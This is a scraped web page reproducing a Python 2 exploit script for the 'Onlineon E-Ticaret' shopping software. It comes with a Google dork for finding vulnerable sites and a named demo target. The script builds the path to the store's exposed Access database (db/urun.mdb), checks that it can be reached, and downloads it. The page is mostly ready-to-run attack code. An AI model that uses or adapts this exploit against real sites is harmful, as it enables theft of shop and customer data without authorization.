扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
#!/usr/bin/env python #-*- coding:cp1254 -*- # Title: Onlineon E-Ticaret Database Disclosure Exploit (.py) # dork : inurl:"default.asp?git=sepet" # Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com # Home : http://milw00rm.com / its online # Download : http://www.onlineonweb.com/eticaret.html # Demo : http://ayvalikkokluzeytincilik.com # date : 06/09/2014 # Python : V 2.7 # Thks : exploit-db.com and others import sys, urllib2, re, os, time def indiriyoruz(url): import urllib aldosyayi = urllib.urlopen(url) indiraq = open(url.split('/')[-1], 'wb') indiraq.write(aldosyayi.read()) aldosyayi.close() indiraq.close() if len(sys.argv) < 2: os.system(['clear','cls'][1]) print " ____________________________________________________________________" print "||" print "| Onlineon E-Ticaret Database Disclosure Exploit (.py) |" print "| ZoRLu / milw00rm.com |" print "| exploit.py http://site.com/path/ |" print "|____________________________________________________________________|" sys.exit(1) ''' link kontrol 1 ''' koybasina = "http://" koykicina = "/" sitemiz = sys.argv[1] if sitemiz[-1:] != koykicina: sitemiz += koykicina if sitemiz[:7]!= koybasina: sitemiz =koybasina + sitemiz database = "db/urun.mdb" url2 = sitemiz + database print "\n" + url2 print "\nlink check" time.sleep(1) ''' link kontrol 2 ''' try: adreskontrol = urllib2.urlopen(url2).read() if len(adreskontrol) > 0: print "\nGood Job Bro!" except urllib2.HTTPError: import os import sys print "\nForbidden Err0r, Security!" sys.exit(1) ''' dosya indiriliyor ''' if __name__ == '__main__': import sys if len(sys.argv) == 2: print "\nFile is Downloading\n" try: indiriyoruz(url2) except IOError: print '\nFilename not found.' |
体验盒子
